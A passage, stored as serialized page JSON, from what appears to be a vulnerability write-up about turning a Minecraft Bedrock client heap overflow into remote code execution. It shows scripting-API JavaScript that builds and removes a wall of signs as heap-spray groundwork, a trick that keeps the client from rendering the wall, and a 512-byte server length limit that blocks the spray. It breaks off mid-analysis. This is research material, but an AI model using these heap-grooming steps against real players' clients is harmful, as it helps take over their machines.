type":23,"tag":230,"props":152555,"children":152556},{"style":256},[152557],{"type":29,"value":14799},{"type":23,"tag":230,"props":152559,"children":152560},{"style":274},[152561],{"type":29,"value":511},{"type":23,"tag":230,"props":152563,"children":152564},{"class":232,"line":4724},[152565],{"type":23,"tag":230,"props":152566,"children":152567},{"style":274},[152568],{"type":29,"value":975},{"type":23,"tag":32,"props":152570,"children":152571},{},[152572,152574,152580],{"type":29,"value":152573},"These functions will be used to perform the heap spray. Before that, we need to populate the ",{"type":23,"tag":71,"props":152575,"children":152577},{"className":152576},[],[152578],{"type":29,"value":152579},"signs",{"type":29,"value":152581}," array. For this, we generate a wall of signs when a player joins, and remove it after they leave:",{"type":23,"tag":220,"props":152583,"children":152585},{"code":152584,"language":224,"meta":7,"className":222,"style":7},"let signs;\n\nfunction create_wall() {\n    signs = [];\n\n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n\n            [...]\n            \n            const sign_block = world\n                .getDimension(\"overworld\")\n                .getBlock(sign_location);\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:wall_sign\", {\n                    facing_direction: 3\n                }\n            ));\n            let sign_component = sign_block\n                .getComponent(BlockComponentTypes.Sign);\n\n            signs.push({\n                sign: sign_component,\n                allocated: false,\n                block: sign_block,\n                removed: false\n            });\n        }\n    }\n}\n\nfunction remove_wall() {\n    signs = [];\n    \n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n            \n            [...]\n             \n            const sign_block = await wait_for_block(\n                world.getDimension(\"overworld\"),\n                sign_location\n            );\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:air\")\n            );\n\n            [...]\n        }\n    }\n}\n\nworld.afterEvents.playerSpawn.subscribe((arg) => {\n    create_wall();\n});\n\nworld.beforeEvents.playerLeave.subscribe(async (arg) => {\n    remove_wall();\n});\n",[152586],{"type":23,"tag":71,"props":152587,"children":152588},{"__ignoreMap":7},[152589,152604,152611,152627,152644,152651,152713,152775,152782,152798,152806,152828,152854,152879,152899,152928,152940,152947,152955,152977,153011,153018,153038,153054,153070,153086,153098,153106,153113,153120,153127,153134,153150,153165,153172,153231,153290,153297,153312,153320,153348,153376,153384,153391,153410,153437,153444,153451,153466,153473,153480,153487,153494,153550,153562,153569,153576,153637,153649],{"type":23,"tag":230,"props":152590,"children":152591},{"class":232,"line":233},[152592,152596,152600],{"type":23,"tag":230,"props":152593,"children":152594},{"style":256},[152595],{"type":29,"value":14118},{"type":23,"tag":230,"props":152597,"children":152598},{"style":262},[152599],{"type":29,"value":152039},{"type":23,"tag":230,"props":152601,"children":152602},{"style":274},[152603],{"type":29,"value":511},{"type":23,"tag":230,"props":152605,"children":152606},{"class":232,"line":243},[152607],{"type":23,"tag":230,"props":152608,"children":152609},{"emptyLinePlaceholder":18},[152610],{"type":29,"value":459},{"type":23,"tag":230,"props":152612,"children":152613},{"class":232,"line":252},[152614,152618,152623],{"type":23,"tag":230,"props":152615,"children":152616},{"style":256},[152617],{"type":29,"value":3381},{"type":23,"tag":230,"props":152619,"children":152620},{"style":294},[152621],{"type":29,"value":152622}," create_wall",{"type":23,"tag":230,"props":152624,"children":152625},{"style":274},[152626],{"type":29,"value":18061},{"type":23,"tag":230,"props":152628,"children":152629},{"class":232,"line":280},[152630,152635,152639],{"type":23,"tag":230,"props":152631,"children":152632},{"style":262},[152633],{"type":29,"value":152634},"    signs",{"type":23,"tag":230,"props":152636,"children":152637},{"style":268},[152638],{"type":29,"value":271},{"type":23,"tag":230,"props":152640,"children":152641},{"style":274},[152642],{"type":29,"value":152643}," [];\n",{"type":23,"tag":230,"props":152645,"children":152646},{"class":232,"line":334},[152647],{"type":23,"tag":230,"props":152648,"children":152649},{"emptyLinePlaceholder":18},[152650],{"type":29,"value":459},{"type":23,"tag":230,"props":152652,"children":152653},{"class":232,"line":371},[152654,152658,152662,152666,152671,152675,152679,152683,152688,152692,152697,152701,152705,152709],{"type":23,"tag":230,"props":152655,"children":152656},{"style":866},[152657],{"type":29,"value":5371},{"type":23,"tag":230,"props":152659,"children":152660},{"style":274},[152661],{"type":29,"value":664},{"type":23,"tag":230,"props":152663,"children":152664},{"style":256},[152665],{"type":29,"value":14118},{"type":23,"tag":230,"props":152667,"children":152668},{"style":262},[152669],{"type":29,"value":152670}," current_y",{"type":23,"tag":230,"props":152672,"children":152673},{"style":268},[152674],{"type":29,"value":271},{"type":23,"tag":230,"props":152676,"children":152677},{"style":5149},[152678],{"type":29,"value":5386},{"type":23,"tag":230,"props":152680,"children":152681},{"style":274},[152682],{"type":29,"value":2171},{"type":23,"tag":230,"props":152684,"children":152685},{"style":262},[152686],{"type":29,"value":152687},"current_y",{"type":23,"tag":230,"props":152689,"children":152690},{"style":268},[152691],{"type":29,"value":11055},{"type":23,"tag":230,"props":152693,"children":152694},{"style":262},[152695],{"type":29,"value":152696}," WALL_HEIGHT",{"type":23,"tag":230,"props":152698,"children":152699},{"style":274},[152700],{"type":29,"value":2171},{"type":23,"tag":230,"props":152702,"children":152703},{"style":262},[152704],{"type":29,"value":152687},{"type":23,"tag":230,"props":152706,"children":152707},{"style":268},[152708],{"type":29,"value":53042},{"type":23,"tag":230,"props":152710,"children":152711},{"style":274},[152712],{"type":29,"value":827},{"type":23,"tag":230,"props":152714,"children":152715},{"class":232,"line":391},[152716,152720,152724,152728,152733,152737,152741,152745,152750,152754,152759,152763,152767,152771],{"type":23,"tag":230,"props":152717,"children":152718},{"style":866},[152719],{"type":29,"value":62351},{"type":23,"tag":230,"props":152721,"children":152722},{"style":274},[152723],{"type":29,"value":664},{"type":23,"tag":230,"props":152725,"children":152726},{"style":256},[152727],{"type":29,"value":14118},{"type":23,"tag":230,"props":152729,"children":152730},{"style":262},[152731],{"type":29,"value":152732}," current_x",{"type":23,"tag":230,"props":152734,"children":152735},{"style":268},[152736],{"type":29,"value":271},{"type":23,"tag":230,"props":152738,"children":152739},{"style":5149},[152740],{"type":29,"value":5386},{"type":23,"tag":230,"props":152742,"children":152743},{"style":274},[152744],{"type":29,"value":2171},{"type":23,"tag":230,"props":152746,"children":152747},{"style":262},[152748],{"type":29,"value":152749},"current_x",{"type":23,"tag":230,"props":152751,"children":152752},{"style":268},[152753],{"type":29,"value":11055},{"type":23,"tag":230,"props":152755,"children":152756},{"style":262},[152757],{"type":29,"value":152758}," WALL_WIDTH",{"type":23,"tag":230,"props":152760,"children":152761},{"style":274},[152762],{"type":29,"value":2171},{"type":23,"tag":230,"props":152764,"children":152765},{"style":262},[152766],{"type":29,"value":152749},{"type":23,"tag":230,"props":152768,"children":152769},{"style":268},[152770],{"type":29,"value":53042},{"type":23,"tag":230,"props":152772,"children":152773},{"style":274},[152774],{"type":29,"value":827},{"type":23,"tag":230,"props":152776,"children":152777},{"class":232,"line":400},[152778],{"type":23,"tag":230,"props":152779,"children":152780},{"emptyLinePlaceholder":18},[152781],{"type":29,"value":459},{"type":23,"tag":230,"props":152783,"children":152784},{"class":232,"line":444},[152785,152790,152794],{"type":23,"tag":230,"props":152786,"children":152787},{"style":274},[152788],{"type":29,"value":152789},"            [",{"type":23,"tag":230,"props":152791,"children":152792},{"style":268},[152793],{"type":29,"value":11922},{"type":23,"tag":230,"props":152795,"children":152796},{"style":274},[152797],{"type":29,"value":14103},{"type":23,"tag":230,"props":152799,"children":152800},{"class":232,"line":453},[152801],{"type":23,"tag":230,"props":152802,"children":152803},{"style":274},[152804],{"type":29,"value":152805},"            \n",{"type":23,"tag":230,"props":152807,"children":152808},{"class":232,"line":462},[152809,152814,152819,152823],{"type":23,"tag":230,"props":152810,"children":152811},{"style":256},[152812],{"type":29,"value":152813},"            const",{"type":23,"tag":230,"props":152815,"children":152816},{"style":262},[152817],{"type":29,"value":152818}," sign_block",{"type":23,"tag":230,"props":152820,"children":152821},{"style":268},[152822],{"type":29,"value":271},{"type":23,"tag":230,"props":152824,"children":152825},{"style":262},[152826],{"type":29,"value":152827}," world\n",{"type":23,"tag":230,"props":152829,"children":152830},{"class":232,"line":471},[152831,152836,152841,152845,152850],{"type":23,"tag":230,"props":152832,"children":152833},{"style":274},[152834],{"type":29,"value":152835},"                .",{"type":23,"tag":230,"props":152837,"children":152838},{"style":294},[152839],{"type":29,"value":152840},"getDimension",{"type":23,"tag":230,"props":152842,"children":152843},{"style":274},[152844],{"type":29,"value":302},{"type":23,"tag":230,"props":152846,"children":152847},{"style":380},[152848],{"type":29,"value":152849},"\"overworld\"",{"type":23,"tag":230,"props":152851,"children":152852},{"style":274},[152853],{"type":29,"value":4516},{"type":23,"tag":230,"props":152855,"children":152856},{"class":232,"line":500},[152857,152861,152866,152870,152875],{"type":23,"tag":230,"props":152858,"children":152859},{"style":274},[152860],{"type":29,"value":152835},{"type":23,"tag":230,"props":152862,"children":152863},{"style":294},[152864],{"type":29,"value":152865},"getBlock",{"type":23,"tag":230,"props":152867,"children":152868},{"style":274},[152869],{"type":29,"value":302},{"type":23,"tag":230,"props":152871,"children":152872},{"style":262},[152873],{"type":29,"value":152874},"sign_location",{"type":23,"tag":230,"props":152876,"children":152877},{"style":274},[152878],{"type":29,"value":753},{"type":23,"tag":230,"props":152880,"children":152881},{"class":232,"line":514},[152882,152887,152891,152895],{"type":23,"tag":230,"props":152883,"children":152884},{"style":262},[152885],{"type":29,"value":152886},"            sign_block",{"type":23,"tag":230,"props":152888,"children":152889},{"style":274},[152890],{"type":29,"value":312},{"type":23,"tag":230,"props":152892,"children":152893},{"style":294},[152894],{"type":29,"value":152493},{"type":23,"tag":230,"props":152896,"children":152897},{"style":274},[152898],{"type":29,"value":619},{"type":23,"tag":230,"props":152900,"children":152901},{"class":232,"line":897},[152902,152907,152911,152915,152919,152924],{"type":23,"tag":230,"props":152903,"children":152904},{"style":262},[152905],{"type":29,"value":152906},"                BlockPermutation",{"type":23,"tag":230,"props":152908,"children":152909},{"style":274},[152910],{"type":29,"value":312},{"type":23,"tag":230,"props":152912,"children":152913},{"style":294},[152914],{"type":29,"value":152514},{"type":23,"tag":230,"props":152916,"children":152917},{"style":274},[152918],{"type":29,"value":302},{"type":23,"tag":230,"props":152920,"children":152921},{"style":380},[152922],{"type":29,"value":152923},"\"minecraft:wall_sign\"",{"type":23,"tag":230,"props":152925,"children":152926},{"style":274},[152927],{"type":29,"value":50654},{"type":23,"tag":230,"props":152929,"children":152930},{"class":232,"line":960},[152931,152936],{"type":23,"tag":230,"props":152932,"children":152933},{"style":262},[152934],{"type":29,"value":152935},"                    facing_direction:",{"type":23,"tag":230,"props":152937,"children":152938},{"style":5149},[152939],{"type":29,"value":21642},{"type":23,"tag":230,"props":152941,"children":152942},{"class":232,"line":969},[152943],{"type":23,"tag":230,"props":152944,"children":152945},{"style":274},[152946],{"type":29,"value":72848},{"type":23,"tag":230,"props":152948,"children":152949},{"class":232,"line":4526},[152950],{"type":23,"tag":230,"props":152951,"children":152952},{"style":274},[152953],{"type":29,"value":152954},"            ));\n",{"type":23,"tag":230,"props":152956,"children":152957},{"class":232,"line":4534},[152958,152963,152968,152972],{"type":23,"tag":230,"props":152959,"children":152960},{"style":256},[152961],{"type":29,"value":152962},"            let",{"type":23,"tag":230,"props":152964,"children":152965},{"style":262},[152966],{"type":29,"value":152967}," sign_component",{"type":23,"tag":230,"props":152969,"children":152970},{"style":268},[152971],{"type":29,"value":271},{"type":23,"tag":230,"props":152973,"children":152974},{"style":262},[152975],{"type":29,"value":152976}," sign_block\n",{"type":23,"tag":230,"props":152978,"children":152979},{"class":232,"line":4542},[152980,152984,152989,152993,152998,153002,153007],{"type":23,"tag":230,"props":152981,"children":152982},{"style":274},[152983],{"type":29,"value":152835},{"type":23,"tag":230,"props":152985,"children":152986},{"style":294},[152987],{"type":29,"value":152988},"getComponent",{"type":23,"tag":230,"props":152990,"children":152991},{"style":274},[152992],{"type":29,"value":302},{"type":23,"tag":230,"props":152994,"children":152995},{"style":262},[152996],{"type":29,"value":152997},"BlockComponentTypes",{"type":23,"tag":230,"props":152999,"children":153000},{"style":274},[153001],{"type":29,"value":312},{"type":23,"tag":230,"props":153003,"children":153004},{"style":262},[153005],{"type":29,"value":153006},"Sign",{"type":23,"tag":230,"props":153008,"children":153009},{"style":274},[153010],{"type":29,"value":753},{"type":23,"tag":230,"props":153012,"children":153013},{"class":232,"line":4559},[153014],{"type":23,"tag":230,"props":153015,"children":153016},{"emptyLinePlaceholder":18},[153017],{"type":29,"value":459},{"type":23,"tag":230,"props":153019,"children":153020},{"class":232,"line":4587},[153021,153026,153030,153034],{"type":23,"tag":230,"props":153022,"children":153023},{"style":262},[153024],{"type":29,"value":153025},"            signs",{"type":23,"tag":230,"props":153027,"children":153028},{"style":274},[153029],{"type":29,"value":312},{"type":23,"tag":230,"props":153031,"children":153032},{"style":294},[153033],{"type":29,"value":6148},{"type":23,"tag":230,"props":153035,"children":153036},{"style":274},[153037],{"type":29,"value":368},{"type":23,"tag":230,"props":153039,"children":153040},{"class":232,"line":4595},[153041,153046,153050],{"type":23,"tag":230,"props":153042,"children":153043},{"style":262},[153044],{"type":29,"value":153045},"                sign:",{"type":23,"tag":230,"props":153047,"children":153048},{"style":262},[153049],{"type":29,"value":152967},{"type":23,"tag":230,"props":153051,"children":153052},{"style":274},[153053],{"type":29,"value":388},{"type":23,"tag":230,"props":153055,"children":153056},{"class":232,"line":4619},[153057,153062,153066],{"type":23,"tag":230,"props":153058,"children":153059},{"style":262},[153060],{"type":29,"value":153061},"                allocated:",{"type":23,"tag":230,"props":153063,"children":153064},{"style":256},[153065],{"type":29,"value":11391},{"type":23,"tag":230,"props":153067,"children":153068},{"style":274},[153069],{"type":29,"value":388},{"type":23,"tag":230,"props":153071,"children":153072},{"class":232,"line":4627},[153073,153078,153082],{"type":23,"tag":230,"props":153074,"children":153075},{"style":262},[153076],{"type":29,"value":153077},"                block:",{"type":23,"tag":230,"props":153079,"children":153080},{"style":262},[153081],{"type":29,"value":152818},{"type":23,"tag":230,"props":153083,"children":153084},{"style":274},[153085],{"type":29,"value":388},{"type":23,"tag":230,"props":153087,"children":153088},{"class":232,"line":4659},[153089,153094],{"type":23,"tag":230,"props":153090,"children":153091},{"style":262},[153092],{"type":29,"value":153093},"                removed:",{"type":23,"tag":230,"props":153095,"children":153096},{"style":256},[153097],{"type":29,"value":14641},{"type":23,"tag":230,"props":153099,"children":153100},{"class":232,"line":4671},[153101],{"type":23,"tag":230,"props":153102,"children":153103},{"style":274},[153104],{"type":29,"value":153105},"            });\n",{"type":23,"tag":230,"props":153107,"children":153108},{"class":232,"line":4688},[153109],{"type":23,"tag":230,"props":153110,"children":153111},{"style":274},[153112],{"type":29,"value":5686},{"type":23,"tag":230,"props":153114,"children":153115},{"class":232,"line":4701},[153116],{"type":23,"tag":230,"props":153117,"children":153118},{"style":274},[153119],{"type":29,"value":1552},{"type":23,"tag":230,"props":153121,"children":153122},{"class":232,"line":4724},[153123],{"type":23,"tag":230,"props":153124,"children":153125},{"style":274},[153126],{"type":29,"value":975},{"type":23,"tag":230,"props":153128,"children":153129},{"class":232,"line":4741},[153130],{"type":23,"tag":230,"props":153131,"children":153132},{"emptyLinePlaceholder":18},[153133],{"type":29,"value":459},{"type":23,"tag":230,"props":153135,"children":153136},{"class":232,"line":4759},[153137,153141,153146],{"type":23,"tag":230,"props":153138,"children":153139},{"style":256},[153140],{"type":29,"value":3381},{"type":23,"tag":230,"props":153142,"children":153143},{"style":294},[153144],{"type":29,"value":153145}," remove_wall",{"type":23,"tag":230,"props":153147,"children":153148},{"style":274},[153149],{"type":29,"value":18061},{"type":23,"tag":230,"props":153151,"children":153152},{"class":232,"line":4768},[153153,153157,153161],{"type":23,"tag":230,"props":153154,"children":153155},{"style":262},[153156],{"type":29,"value":152634},{"type":23,"tag":230,"props":153158,"children":153159},{"style":268},[153160],{"type":29,"value":271},{"type":23,"tag":230,"props":153162,"children":153163},{"style":274},[153164],{"type":29,"value":152643},{"type":23,"tag":230,"props":153166,"children":153167},{"class":232,"line":4776},[153168],{"type":23,"tag":230,"props":153169,"children":153170},{"style":274},[153171],{"type":29,"value":63561},{"type":23,"tag":230,"props":153173,"children":153174},{"class":232,"line":4784},[153175,153179,153183,153187,153191,153195,153199,153203,153207,153211,153215,153219,153223,153227],{"type":23,"tag":230,"props":153176,"children":153177},{"style":866},[153178],{"type":29,"value":5371},{"type":23,"tag":230,"props":153180,"children":153181},{"style":274},[153182],{"type":29,"value":664},{"type":23,"tag":230,"props":153184,"children":153185},{"style":256},[153186],{"type":29,"value":14118},{"type":23,"tag":230,"props":153188,"children":153189},{"style":262},[153190],{"type":29,"value":152670},{"type":23,"tag":230,"props":153192,"children":153193},{"style":268},[153194],{"type":29,"value":271},{"type":23,"tag":230,"props":153196,"children":153197},{"style":5149},[153198],{"type":29,"value":5386},{"type":23,"tag":230,"props":153200,"children":153201},{"style":274},[153202],{"type":29,"value":2171},{"type":23,"tag":230,"props":153204,"children":153205},{"style":262},[153206],{"type":29,"value":152687},{"type":23,"tag":230,"props":153208,"children":153209},{"style":268},[153210],{"type":29,"value":11055},{"type":23,"tag":230,"props":153212,"children":153213},{"style":262},[153214],{"type":29,"value":152696},{"type":23,"tag":230,"props":153216,"children":153217},{"style":274},[153218],{"type":29,"value":2171},{"type":23,"tag":230,"props":153220,"children":153221},{"style":262},[153222],{"type":29,"value":152687},{"type":23,"tag":230,"props":153224,"children":153225},{"style":268},[153226],{"type":29,"value":53042},{"type":23,"tag":230,"props":153228,"children":153229},{"style":274},[153230],{"type":29,"value":827},{"type":23,"tag":230,"props":153232,"children":153233},{"class":232,"line":4792},[153234,153238,153242,153246,153250,153254,153258,153262,153266,153270,153274,153278,153282,153286],{"type":23,"tag":230,"props":153235,"children":153236},{"style":866},[153237],{"type":29,"value":62351},{"type":23,"tag":230,"props":153239,"children":153240},{"style":274},[153241],{"type":29,"value":664},{"type":23,"tag":230,"props":153243,"children":153244},{"style":256},[153245],{"type":29,"value":14118},{"type":23,"tag":230,"props":153247,"children":153248},{"style":262},[153249],{"type":29,"value":152732},{"type":23,"tag":230,"props":153251,"children":153252},{"style":268},[153253],{"type":29,"value":271},{"type":23,"tag":230,"props":153255,"children":153256},{"style":5149},[153257],{"type":29,"value":5386},{"type":23,"tag":230,"props":153259,"children":153260},{"style":274},[153261],{"type":29,"value":2171},{"type":23,"tag":230,"props":153263,"children":153264},{"style":262},[153265],{"type":29,"value":152749},{"type":23,"tag":230,"props":153267,"children":153268},{"style":268},[153269],{"type":29,"value":11055},{"type":23,"tag":230,"props":153271,"children":153272},{"style":262},[153273],{"type":29,"value":152758},{"type":23,"tag":230,"props":153275,"children":153276},{"style":274},[153277],{"type":29,"value":2171},{"type":23,"tag":230,"props":153279,"children":153280},{"style":262},[153281],{"type":29,"value":152749},{"type":23,"tag":230,"props":153283,"children":153284},{"style":268},[153285],{"type":29,"value":53042},{"type":23,"tag":230,"props":153287,"children":153288},{"style":274},[153289],{"type":29,"value":827},{"type":23,"tag":230,"props":153291,"children":153292},{"class":232,"line":4824},[153293],{"type":23,"tag":230,"props":153294,"children":153295},{"style":274},[153296],{"type":29,"value":152805},{"type":23,"tag":230,"props":153298,"children":153299},{"class":232,"line":4832},[153300,153304,153308],{"type":23,"tag":230,"props":153301,"children":153302},{"style":274},[153303],{"type":29,"value":152789},{"type":23,"tag":230,"props":153305,"children":153306},{"style":268},[153307],{"type":29,"value":11922},{"type":23,"tag":230,"props":153309,"children":153310},{"style":274},[153311],{"type":29,"value":14103},{"type":23,"tag":230,"props":153313,"children":153314},{"class":232,"line":4840},[153315],{"type":23,"tag":230,"props":153316,"children":153317},{"style":274},[153318],{"type":29,"value":153319},"             \n",{"type":23,"tag":230,"props":153321,"children":153322},{"class":232,"line":4901},[153323,153327,153331,153335,153339,153344],{"type":23,"tag":230,"props":153324,"children":153325},{"style":256},[153326],{"type":29,"value":152813},{"type":23,"tag":230,"props":153328,"children":153329},{"style":262},[153330],{"type":29,"value":152818},{"type":23,"tag":230,"props":153332,"children":153333},{"style":268},[153334],{"type":29,"value":271},{"type":23,"tag":230,"props":153336,"children":153337},{"style":866},[153338],{"type":29,"value":869},{"type":23,"tag":230,"props":153340,"children":153341},{"style":294},[153342],{"type":29,"value":153343}," wait_for_block",{"type":23,"tag":230,"props":153345,"children":153346},{"style":274},[153347],{"type":29,"value":619},{"type":23,"tag":230,"props":153349,"children":153350},{"class":232,"line":4909},[153351,153356,153360,153364,153368,153372],{"type":23,"tag":230,"props":153352,"children":153353},{"style":262},[153354],{"type":29,"value":153355},"                world",{"type":23,"tag":230,"props":153357,"children":153358},{"style":274},[153359],{"type":29,"value":312},{"type":23,"tag":230,"props":153361,"children":153362},{"style":294},[153363],{"type":29,"value":152840},{"type":23,"tag":230,"props":153365,"children":153366},{"style":274},[153367],{"type":29,"value":302},{"type":23,"tag":230,"props":153369,"children":153370},{"style":380},[153371],{"type":29,"value":152849},{"type":23,"tag":230,"props":153373,"children":153374},{"style":274},[153375],{"type":29,"value":331},{"type":23,"tag":230,"props":153377,"children":153378},{"class":232,"line":4938},[153379],{"type":23,"tag":230,"props":153380,"children":153381},{"style":262},[153382],{"type":29,"value":153383},"                sign_location\n",{"type":23,"tag":230,"props":153385,"children":153386},{"class":232,"line":4957},[153387],{"type":23,"tag":230,"props":153388,"children":153389},{"style":274},[153390],{"type":29,"value":126893},{"type":23,"tag":230,"props":153392,"children":153393},{"class":232,"line":4973},[153394,153398,153402,153406],{"type":23,"tag":230,"props":153395,"children":153396},{"style":262},[153397],{"type":29,"value":152886},{"type":23,"tag":230,"props":153399,"children":153400},{"style":274},[153401],{"type":29,"value":312},{"type":23,"tag":230,"props":153403,"children":153404},{"style":294},[153405],{"type":29,"value":152493},{"type":23,"tag":230,"props":153407,"children":153408},{"style":274},[153409],{"type":29,"value":619},{"type":23,"tag":230,"props":153411,"children":153412},{"class":232,"line":4990},[153413,153417,153421,153425,153429,153433],{"type":23,"tag":230,"props":153414,"children":153415},{"style":262},[153416],{"type":29,"value":152906},{"type":23,"tag":230,"props":153418,"children":153419},{"style":274},[153420],{"type":29,"value":312},{"type":23,"tag":230,"props":153422,"children":153423},{"style":294},[153424],{"type":29,"value":152514},{"type":23,"tag":230,"props":153426,"children":153427},{"style":274},[153428],{"type":29,"value":302},{"type":23,"tag":230,"props":153430,"children":153431},{"style":380},[153432],{"type":29,"value":152523},{"type":23,"tag":230,"props":153434,"children":153435},{"style":274},[153436],{"type":29,"value":4516},{"type":23,"tag":230,"props":153438,"children":153439},{"class":232,"line":5006},[153440],{"type":23,"tag":230,"props":153441,"children":153442},{"style":274},[153443],{"type":29,"value":126893},{"type":23,"tag":230,"props":153445,"children":153446},{"class":232,"line":5019},[153447],{"type":23,"tag":230,"props":153448,"children":153449},{"emptyLinePlaceholder":18},[153450],{"type":29,"value":459},{"type":23,"tag":230,"props":153452,"children":153453},{"class":232,"line":5050},[153454,153458,153462],{"type":23,"tag":230,"props":153455,"children":153456},{"style":274},[153457],{"type":29,"value":152789},{"type":23,"tag":230,"props":153459,"children":153460},{"style":268},[153461],{"type":29,"value":11922},{"type":23,"tag":230,"props":153463,"children":153464},{"style":274},[153465],{"type":29,"value":14103},{"type":23,"tag":230,"props":153467,"children":153468},{"class":232,"line":5058},[153469],{"type":23,"tag":230,"props":153470,"children":153471},{"style":274},[153472],{"type":29,"value":5686},{"type":23,"tag":230,"props":153474,"children":153475},{"class":232,"line":26228},[153476],{"type":23,"tag":230,"props":153477,"children":153478},{"style":274},[153479],{"type":29,"value":1552},{"type":23,"tag":230,"props":153481,"children":153482},{"class":232,"line":34574},[153483],{"type":23,"tag":230,"props":153484,"children":153485},{"style":274},[153486],{"type":29,"value":975},{"type":23,"tag":230,"props":153488,"children":153489},{"class":232,"line":34595},[153490],{"type":23,"tag":230,"props":153491,"children":153492},{"emptyLinePlaceholder":18},[153493],{"type":29,"value":459},{"type":23,"tag":230,"props":153495,"children":153496},{"class":232,"line":82730},[153497,153502,153506,153511,153515,153520,153524,153529,153533,153538,153542,153546],{"type":23,"tag":230,"props":153498,"children":153499},{"style":262},[153500],{"type":29,"value":153501},"world",{"type":23,"tag":230,"props":153503,"children":153504},{"style":274},[153505],{"type":29,"value":312},{"type":23,"tag":230,"props":153507,"children":153508},{"style":262},[153509],{"type":29,"value":153510},"afterEvents",{"type":23,"tag":230,"props":153512,"children":153513},{"style":274},[153514],{"type":29,"value":312},{"type":23,"tag":230,"props":153516,"children":153517},{"style":262},[153518],{"type":29,"value":153519},"playerSpawn",{"type":23,"tag":230,"props":153521,"children":153522},{"style":274},[153523],{"type":29,"value":312},{"type":23,"tag":230,"props":153525,"children":153526},{"style":294},[153527],{"type":29,"value":153528},"subscribe",{"type":23,"tag":230,"props":153530,"children":153531},{"style":274},[153532],{"type":29,"value":33821},{"type":23,"tag":230,"props":153534,"children":153535},{"style":262},[153536],{"type":29,"value":153537},"arg",{"type":23,"tag":230,"props":153539,"children":153540},{"style":274},[153541],{"type":29,"value":703},{"type":23,"tag":230,"props":153543,"children":153544},{"style":256},[153545],{"type":29,"value":2671},{"type":23,"tag":230,"props":153547,"children":153548},{"style":274},[153549],{"type":29,"value":277},{"type":23,"tag":230,"props":153551,"children":153552},{"class":232,"line":82743},[153553,153558],{"type":23,"tag":230,"props":153554,"children":153555},{"style":294},[153556],{"type":29,"value":153557},"    create_wall",{"type":23,"tag":230,"props":153559,"children":153560},{"style":274},[153561],{"type":29,"value":2140},{"type":23,"tag":230,"props":153563,"children":153564},{"class":232,"line":82751},[153565],{"type":23,"tag":230,"props":153566,"children":153567},{"style":274},[153568],{"type":29,"value":2582},{"type":23,"tag":230,"props":153570,"children":153571},{"class":232,"line":82759},[153572],{"type":23,"tag":230,"props":153573,"children":153574},{"emptyLinePlaceholder":18},[153575],{"type":29,"value":459},{"type":23,"tag":230,"props":153577,"children":153578},{"class":232,"line":82767},[153579,153583,153587,153592,153596,153601,153605,153609,153613,153617,153621,153625,153629,153633],{"type":23,"tag":230,"props":153580,"children":153581},{"style":262},[153582],{"type":29,"value":153501},{"type":23,"tag":230,"props":153584,"children":153585},{"style":274},[153586],{"type":29,"value":312},{"type":23,"tag":230,"props":153588,"children":153589},{"style":262},[153590],{"type":29,"value":153591},"beforeEvents",{"type":23,"tag":230,"props":153593,"children":153594},{"style":274},[153595],{"type":29,"value":312},{"type":23,"tag":230,"props":153597,"children":153598},{"style":262},[153599],{"type":29,"value":153600},"playerLeave",{"type":23,"tag":230,"props":153602,"children":153603},{"style":274},[153604],{"type":29,"value":312},{"type":23,"tag":230,"props":153606,"children":153607},{"style":294},[153608],{"type":29,"value":153528},{"type":23,"tag":230,"props":153610,"children":153611},{"style":274},[153612],{"type":29,"value":302},{"type":23,"tag":230,"props":153614,"children":153615},{"style":256},[153616],{"type":29,"value":798},{"type":23,"tag":230,"props":153618,"children":153619},{"style":274},[153620],{"type":29,"value":664},{"type":23,"tag":230,"props":153622,"children":153623},{"style":262},[153624],{"type":29,"value":153537},{"type":23,"tag":230,"props":153626,"children":153627},{"style":274},[153628],{"type":29,"value":703},{"type":23,"tag":230,"props":153630,"children":153631},{"style":256},[153632],{"type":29,"value":2671},{"type":23,"tag":230,"props":153634,"children":153635},{"style":274},[153636],{"type":29,"value":277},{"type":23,"tag":230,"props":153638,"children":153639},{"class":232,"line":82807},[153640,153645],{"type":23,"tag":230,"props":153641,"children":153642},{"style":294},[153643],{"type":29,"value":153644},"    remove_wall",{"type":23,"tag":230,"props":153646,"children":153647},{"style":274},[153648],{"type":29,"value":2140},{"type":23,"tag":230,"props":153650,"children":153651},{"class":232,"line":82815},[153652],{"type":23,"tag":230,"props":153653,"children":153654},{"style":274},[153655],{"type":29,"value":2582},{"type":23,"tag":32,"props":153657,"children":153658},{},[153659],{"type":29,"value":153660},"This works well and produces a structure that the client ideally should not render - displaying and repeatedly updating this many signs during the spray would stall the client, which we want to avoid.",{"type":23,"tag":32,"props":153662,"children":153663},{},[153664],{"type":23,"tag":93,"props":153665,"children":153668},{"alt":153666,"src":153667},"image-min","/posts/minecraft-heap-overflow-to-rce/image3.png",[],{"type":23,"tag":32,"props":153670,"children":153671},{},[153672],{"type":29,"value":153673},"Preventing the client from rendering the sign wall is as simple as adjusting player’s view angle each tick, essentially forcing the client to look in the opposite direction of the sign wall.",{"type":23,"tag":192,"props":153675,"children":153677},{"id":153676},"a-small-roadblock",[153678],{"type":29,"value":153679},"A Small Roadblock",{"type":23,"tag":32,"props":153681,"children":153682},{},[153683],{"type":29,"value":153684},"While testing our heap spray method, we encountered the following error:",{"type":23,"tag":220,"props":153686,"children":153688},{"code":153687},"[Scripting] Error: Provided message is too long.\nMax length is 512 and the provided message has length of 1024.\n    at alloc (index.js:169)\n",[153689],{"type":23,"tag":71,"props":153690,"children":153691},{"__ignoreMap":7},[153692],{"type":29,"value":153687},{"type":23,"tag":32,"props":153694,"children":153695},{},[153696,153698,153704],{"type":29,"value":153697},"An error is thrown by the server executable while trying to assign text longer than ",{"type":23,"tag":71,"props":153699,"children":153701},{"className":153700},[],[153702],{"type":29,"value":153703},"512",{"type":29,"value":153705}," bytes to a sign. This severely limits our approach, as it prevents us from spraying the VS heap with large chunks needed for the mentioned chunk-overlap technique.",{"type":23,"tag":32,"props":153707,"children":153708},{},[153709],{"type":29,"value":153710},"Before abandoning the idea entirely, we considered one possibility: perhaps this check only occurs server-side, and the client might not validate the length of the data it receives.",{"type":23,"tag":32,"props":153712,"children":153713},{},[153714],{"type":29,"value":153715},"We searched for the error message in the Bedrock server executable and located the length-validation 